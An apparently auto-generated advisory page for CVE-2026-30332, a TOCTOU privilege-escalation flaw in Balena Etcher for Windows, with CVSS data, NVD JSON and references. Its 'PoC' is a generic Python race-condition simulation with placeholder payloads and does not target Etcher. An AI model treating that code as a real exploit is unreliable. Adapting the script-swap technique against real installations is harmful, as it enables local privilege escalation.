Security Vulnerability Report
中文
CVE-2026-30332 CVSS 7.5 HIGH

CVE-2026-30332

Published: 2026-04-02 16:16:22
Last Modified: 2026-04-03 16:10:24

Description

A Time-of-Check to Time-of-Use (TOCTOU) race condition vulnerability in Balena Etcher for Windows prior to v2.1.4 allows attackers to escalate privileges and execute arbitrary code via replacing a legitimate script with a crafted payload during the flashing process.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Balena Etcher for Windows < v2.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import time import threading # Simulated vulnerable application behavior def vulnerable_process(script_path): print(f"[App] Checking script: {script_path}") # TOCTOU Window: Check time if os.path.exists(script_path) and "legitimate" in open(script_path).read(): time.sleep(0.1) # Simulate processing delay, creating the race window print(f"[App] Executing script: {script_path}") # Use time with open(script_path, 'r') as f: content = f.read() if "malicious" in content: print(f"[App] EXPLOIT SUCCESS! Executing malicious payload.") else: print(f"[App] Executing legitimate content.") else: print("[App] Security check failed.") # Attacker thread attempting to swap the file def attacker_swap(script_path): while True: try: # Wait for the file to be created/checked if os.path.exists(script_path): print("[Attacker] Swapping script file...") # Replace legitimate content with malicious payload with open(script_path, 'w') as f: f.write("malicious_payload_code();") break except: pass time.sleep(0.001) if __name__ == "__main__": target_file = "temp_script.sh" # Setup legitimate file with open(target_file, 'w') as f: f.write("legitimate_script_function();") # Start attacker thread t = threading.Thread(target=attacker_swap, args=(target_file,)) t.start() # Start vulnerable process vulnerable_process(target_file) t.join() # Cleanup if os.path.exists(target_file): os.remove(target_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30332", "sourceIdentifier": "[email protected]", "published": "2026-04-02T16:16:22.050", "lastModified": "2026-04-03T16:10:23.730", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Time-of-Check to Time-of-Use (TOCTOU) race condition vulnerability in Balena Etcher for Windows prior to v2.1.4 allows attackers to escalate privileges and execute arbitrary code via replacing a legitimate script with a crafted payload during the flashing process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://github.com/B1tBreaker/CVE-2026-30332", "source": "[email protected]"}, {"url": "https://github.com/balena-io/etcher/issues/4500", "source": "[email protected]"}, {"url": "https://www.balena.io/security", "source": "[email protected]"}]}}